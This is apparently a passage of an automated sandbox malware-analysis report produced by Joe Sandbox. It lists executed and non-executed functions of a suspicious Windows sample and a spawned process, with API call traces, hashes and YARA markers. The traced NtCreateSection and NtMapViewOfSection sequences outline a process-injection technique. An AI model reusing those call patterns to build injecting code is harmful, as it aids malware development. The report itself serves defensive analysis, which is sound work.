SetErrorMode.KERNELBASE(00000400,?,?,005F0223,?,?), ref: 005F0E19
SetErrorMode.KERNELBASE(00000000,?,?,005F0223,?,?), ref: 005F0E1E

Memory Dump Source

Source File: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: d5a6bee1921c2ef6b516d6639c820d1612de59ea02b9ca9833ad81ad95a80bb3
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 21D0123154512CB7D7002A94DC09BDD7F1CDF05B62F048411FB0DD9081C774994046E5

Function 004016E5 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d1cf4a24c3fc6c96abbd772e43917d0267fad9e090bec43cac2cfb706a48c3
Instruction ID: d7122d48263ec7d897cf7d78cd76de1228cda3bcac40411fc7d625d9091ea59c
Opcode Fuzzy Hash: c9d1cf4a24c3fc6c96abbd772e43917d0267fad9e090bec43cac2cfb706a48c3
Instruction Fuzzy Hash: AC41CE37908104DBDB14AA54C844ABA73A1AF84304F39853BD857776F0D67CAA43E79F

Function 004018E6 Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction ID: 08a90aa29aaa59261053d8f0d19a3ecdc4dd21bf61fce8c4d66a51d0c793aa75
Opcode Fuzzy Hash: a4b5604c3fad4e3a9f3f792e8fb47035b06f8c3694b385928224ebe720cba1b7
Instruction Fuzzy Hash: EB11A1F660C204FAEB106AA49C61E7A3318AB40754F304137F613790F5957D9A13F66F

Function 00401915 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction ID: d2c64d108ecd7190b789ce3c9d4f03e3911909dfd4099b6475a4add21270c3a3
Opcode Fuzzy Hash: 7bb1df720b8f813faa3697c6259eeb6b3a5716e5c382bc39f4698e2c5426f3b5
Instruction Fuzzy Hash: 6D019EB7208208E6DB006AA5AC51ABA33189B44359F304537F723790F6D57D8612E72F

Function 004018F1 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction ID: b5ca90d31d4069b8fd1e735589466699ca1bb5e14181e618ca72d4e2f39bbf06
Opcode Fuzzy Hash: db3408315eb658ba3491db04f2d46bddbd6b336d8c43cf969156009dde905ade
Instruction Fuzzy Hash: D101D2B6608204EBDB019AF49C62A7A37549F44315F200137FA53790F1D67D8643E72F

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction ID: 0621b20c29367ada74e4c9127c9a5516285bec5e68af8f441e6b7f153e3f788d
Opcode Fuzzy Hash: 7e129187160df36b360d42079074bb08fe8934bb284168352239ee73acaefb28
Instruction Fuzzy Hash: 11017CB560C204EAEB109AA49C61A7A3318AB44354F304537FA27790F5D67D9612E72F

Function 006226C6 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00622717

Memory Dump Source

Source File: 00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0061F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61f000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 89379c13cdc3fd01e8c479bc6b2a39c727dea2dfba733d8804d139b32b44c1f2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: C6113C79A00208FFDB01DF98C985E99BBF5AF08350F058095F9489B362D371EA90DF80

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401936

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
Part of subcall function 00401514: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction ID: ea6e3854d66af35421fcd7571e0742f45a6e64d38424a4e1b6315f5079e28d0a
Opcode Fuzzy Hash: 2f4c2daa00eb47e2555f44135ed694f04ab08e7709eb0f7e86441ab925b63f7c
Instruction Fuzzy Hash: 28F08CB6208204EADB00AEA49C61EBA3318AB44314F304533FB23790F5C67D8612E72F

Function 00418AC0 Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00514D6C,0041912F), ref: 00418AC8

Memory Dump Source

Source File: 00000000.00000002.2233107637.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_O4zPA1oI9Y.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c76493f27e26a282c6c9cfafab8c2d46abc60ae80d7b28fbf0ef9f8fe527b2c1
Instruction ID: 452ad643668a9869e20cf026667031a7807d1b47aa2963159c3e27e96442b96b
Opcode Fuzzy Hash: c76493f27e26a282c6c9cfafab8c2d46abc60ae80d7b28fbf0ef9f8fe527b2c1
Instruction Fuzzy Hash: F0B012B094A2009FDB00CF90FC44B903BB4F358702F00D061F500C1160D7304404EF16

Non-executed Functions

Function 005F092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 005F0966
GetProcAddress., xrefs: 005F09DC, 005F09DF, 005F09E4
., xrefs: 005F095F

Memory Dump Source

Source File: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: b437e55aa1150b7aa29c0e0734b87b9c3710736e4c8244c2eae4c773cf33aefc
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E931AEB2900209CFDB10CF88C980AAEBBF5FF48324F18504AD541A7352D3B5EA45CFA4

Function 006222E4 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

v"b, xrefs: 006222EA

Memory Dump Source

Source File: 00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0061F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61f000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID:
String ID: v"b
API String ID: 0-2872282020
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 003a6cfedbb482608f94e6eb5d0321e57304cfe3eae14289de936a4ae9d77e08
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 03113072340511AFD754DF59ECD1FA673EAFB89320B298065ED04CB315D679E842CB60

Function 0040324F Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

#v, xrefs: 004032C5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-4112121772
Opcode ID: b6cce00e44272c3b346c781a71a24066948c2fdd51da7417d00d6227e97d3ecb
Instruction ID: 8b342eda7a34b2dea096b61bc040758592e52e3af04c7588a1bad881e69cb651
Opcode Fuzzy Hash: b6cce00e44272c3b346c781a71a24066948c2fdd51da7417d00d6227e97d3ecb
Instruction Fuzzy Hash: D6F06DA061E281EBDB1A0F296919531BF6C6A1674733805FFD083761D2E23D4B17A25F

Function 00403256 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

#v, xrefs: 004032C5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-4112121772
Opcode ID: fecb3a8a54db844415a2e1bef71f7edeaef6dd4d7564fc295dfb03336b436737
Instruction ID: 7df6671c20cba9c0b125a2c5dad59f0ef0fb370986baf59a5ee6412d0567cba0
Opcode Fuzzy Hash: fecb3a8a54db844415a2e1bef71f7edeaef6dd4d7564fc295dfb03336b436737
Instruction Fuzzy Hash: A8F0E96065D342ABDB0B0F60A9155717F5C690672732801FFE482762C5D27D0707A24F

Function 00403247 Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

#v, xrefs: 004032C5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-4112121772
Opcode ID: 102b48951598741f63d2bc3dccd8cbc6c8ba434529aa2a86973ea2f557790a04
Instruction ID: ca511933a5b28aa85cb858a2c4f9adc3918de21c1b1b7b18f24455f842de9805
Opcode Fuzzy Hash: 102b48951598741f63d2bc3dccd8cbc6c8ba434529aa2a86973ea2f557790a04
Instruction Fuzzy Hash: 30F0E2A050D282EFDB0A1F2569288317F9C6A1670733801FFD083B91C2D13E4707A25F

Function 0040326C Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

#v, xrefs: 004032C5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-4112121772
Opcode ID: e697506e40fc18b1e89b069197d835560c4ae47d934abc3c31fc06bf68063514
Instruction ID: 6ca54dc93712ca672dcb2052c894f69c3c01cbab2e020e50f3e64b8dc9d16c88
Opcode Fuzzy Hash: e697506e40fc18b1e89b069197d835560c4ae47d934abc3c31fc06bf68063514
Instruction Fuzzy Hash: 39F0E56151D282ABDB1B4F2569550717F5C6A0770A72401FFD482B51C2E13E0717E24F

Function 00403290 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

#v, xrefs: 004032C5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-4112121772
Opcode ID: fb335cf0d47e54c0d4b163b58812e271318afe8484c0deefa432d84bf061ab59
Instruction ID: b5625208c70294fe1d85df5a918749f501d715d6cf31fdde382de861c42b0134
Opcode Fuzzy Hash: fb335cf0d47e54c0d4b163b58812e271318afe8484c0deefa432d84bf061ab59
Instruction Fuzzy Hash: 65F02B91A1D3C15FDB631F7598191617FA86D6774931840FFD041A52D2F17E0B06D30B

Function 0040327D Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

#v, xrefs: 004032C5

Memory Dump Source

Source File: 00000000.00000002.2233086581.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_O4zPA1oI9Y.jbxd

Similarity

API ID:
String ID: #v
API String ID: 0-4112121772
Opcode ID: 0a82979ad1abcd90eb5fc18d9275e14ea313a28b34b7e2628bae92218518f56c
Instruction ID: 3e9ee4a9669d4f407ff3dbfcbf3d4ca987626ae5d69e3fc9a3947ca81785133e
Opcode Fuzzy Hash: 0a82979ad1abcd90eb5fc18d9275e14ea313a28b34b7e2628bae92218518f56c
Instruction Fuzzy Hash: B2E0DFA064A6817BDB171F69AA190717F9C6A1BB0771801FFD081A92C2D17E0B16D34F

Function 005F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_O4zPA1oI9Y.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 863051e66c8a79b30188aad475c6f9cf6a4493174bac05a33afdcecc6e0a7bcc
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: C801F7726016088FDF21DF60C804BBB37E9FB85306F0944A4DB06D72C3E378A8418B80

Function 00418D50 Relevance: 6.0, APIs: 4, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

QueryDosDeviceW.KERNEL32(00000000,?,00000000), ref: 00418D84
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418D9F
HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 00418DC2
GetNumaProcessorNode.KERNEL32(?,00000000), ref: 00418DD1

Memory Dump Source

Source File: 00000000.00000002.2233107637.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_O4zPA1oI9Y.jbxd

Similarity

API ID: CreateDeviceEnvironmentFreeHeapNodeNumaProcessorQueryStrings
String ID:
API String ID: 2776817195-0
Opcode ID: f30173706c358a0a2784e69d0405cb642d2262f11b42eed8560d13ebc88a1c06
Instruction ID: e6d39fe0092bbab876aaf39b699cc254fd154f119dceba652d6ce7d41ca7bd17
Opcode Fuzzy Hash: f30173706c358a0a2784e69d0405cb642d2262f11b42eed8560d13ebc88a1c06
Instruction Fuzzy Hash: CD01D870A402049BD760AFA4FC45BDA37B4E71C705F40806AF605962D0DE745988DF9A

Function 00418CD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

BuildCommDCBA.KERNEL32(00000000,?), ref: 00418CE4
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00418CF6

Strings

-, xrefs: 00418D2F

Memory Dump Source

Source File: 00000000.00000002.2233107637.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_O4zPA1oI9Y.jbxd

Similarity

API ID: BuildCommEnvironmentFreeStrings
String ID: -
API String ID: 2991353152-2547889144
Opcode ID: 8d08779753d9f8bcff46eaf4c583cf6f56908dff42d916d2df929441dec03c69
Instruction ID: 810f788c3858191b0e6f136e57086e392da7284b159ae35535647157417a7ca4
Opcode Fuzzy Hash: 8d08779753d9f8bcff46eaf4c583cf6f56908dff42d916d2df929441dec03c69
Instruction Fuzzy Hash: 7CF0C83150530496E7119FA5ED807EE7B69EB19320F60422EED0456281CB784D8597AA

Analysis Process: jvgasiiPID: 7004, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	26.2%
Signature Coverage:	0%
Total number of Nodes:	183
Total number of Limit Nodes:	6

Executed Functions

Function 00418DF0 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 321
filewindowlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 00418F0B
GetFocus.USER32 ref: 00418F11
ReadConsoleA.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00418F1E
FindAtomA.KERNEL32(00000000), ref: 00418F25
SearchPathA.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418F3D
SetConsoleMode.KERNEL32(00000000,00000000), ref: 00418F45
SearchPathW.KERNEL32(00000000,00000000,00000000,00000000,?,?), ref: 00418F5D
GetDefaultCommConfigA.KERNEL32(00000000,?,00000000), ref: 00418F84
CopyFileExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00418F90
CreatePipe.KERNEL32(?,00000000,00000000,00000000), ref: 00418FA6
GetEnvironmentStringsW.KERNEL32 ref: 00418FAC
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00418FF1
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00419000
GetSystemTimeAdjustment.KERNEL32(00000000,00000000,00000000), ref: 00419009
ObjectPrivilegeAuditAlarmW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041901E
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0041902F
SetCommState.KERNELBASE(00000000,00000000), ref: 00419058
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419089
GetComputerNameA.KERNEL32(?,?), ref: 0041909D
CopyFileW.KERNEL32(0041B3AC,0041B380,00000000), ref: 004190AE
GetFileAttributesA.KERNEL32(00000000), ref: 004190B5
GetConsoleAliasExesLengthW.KERNEL32 ref: 004190BB
GetBinaryType.KERNEL32(0041B3C8,?), ref: 004190CD
FormatMessageA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 004190E0
GetLongPathNameA.KERNEL32(0041B3E4,?,00000000), ref: 004190F3
PurgeComm.KERNEL32(00000000,00000000), ref: 004190FB
LoadLibraryA.KERNELBASE(0041B3EC), ref: 00419172
MoveFileW.KERNEL32(00000000,00000000), ref: 004191A7
InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 004191CE

Strings

k`, xrefs: 004191AD
}$, xrefs: 004191D5

Memory Dump Source

Source File: 00000006.00000002.2516656554.000000000040B000.00000020.00000001.01000000.00000005.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40b000_jvgasii.jbxd

Similarity

API ID: ConsoleFile$CommNamePath$CompareCopyExchangeInterlockedLengthObjectSearch$AdjustmentAlarmAliasAliasesAtomAttributesAuditBinaryComputerConfigCreateDefaultEnvironmentExesFindFocusFormatLibraryLoadLongMessageModeModuleMoveOutputPipePrivilegePurgeReadSingleStateStringsSystemTimeTypeWaitWrite
String ID: k`$}$
API String ID: 2220722107-956986773
Opcode ID: 76067d98ed010348569ee083334d6030e4c9192beea86e856fa9a0357b35bb33
Instruction ID: 4ca0833080540fc1689ebbf06c0baecda7ebd0e2289d1b61a46df4a83d3cd1a5
Opcode Fuzzy Hash: 76067d98ed010348569ee083334d6030e4c9192beea86e856fa9a0357b35bb33
Instruction Fuzzy Hash: F9B1B371902124ABDB219FA1EC48EDF7B79EF4D750F00806AF649A2151C7781AC5CFAE

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 201
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction ID: b77a8bcfde574781322ebaec397cd5e92af5eb717990e6e7793f83a32abcc97b
Opcode Fuzzy Hash: 030196af5c35925124d1a5e0ae71aae975fd3bc268d3cb8e752286d8b76e3a9f
Instruction Fuzzy Hash: 24615E71900244FBEB209F95CC49FAF7BB8EF85700F20412AF912BA1E5D6749A01DB69

Function 004014FE Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction ID: 0ec8d6d4108695f7377ece7931361284e20275783593a2318d747dbe857377b0
Opcode Fuzzy Hash: 797714e4bcca61813209f29cc723c8138b20262a6c787ca69d6a1213da408676
Instruction Fuzzy Hash: 6A5129B5900209BFEB209F95CC48FEF7BB9EF85710F14412AF912BA2A5D6749901CB24

Function 00401542 Relevance: 10.7, APIs: 7, Instructions: 167
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

Source File: 00000006.00000002.2516620134.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_jvgasii.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction ID: 759091ef041ca07c69b7a79068e02688b6544eb302bab9b440b0429bbb41aca5
Opcode Fuzzy Hash: 2b177f7e9ccc32c3765a626e79a5c8eb6b5311b77b213a5c8649f7db25de2716
Instruction Fuzzy Hash: E85119B1900249BFEB209F91CC48FAF7BB8EF85B10F144169F911BA2A5D6749941CB24

Function 00401549 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D3
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401600
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401623
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401641
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401682
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D5

Memory Dump Source

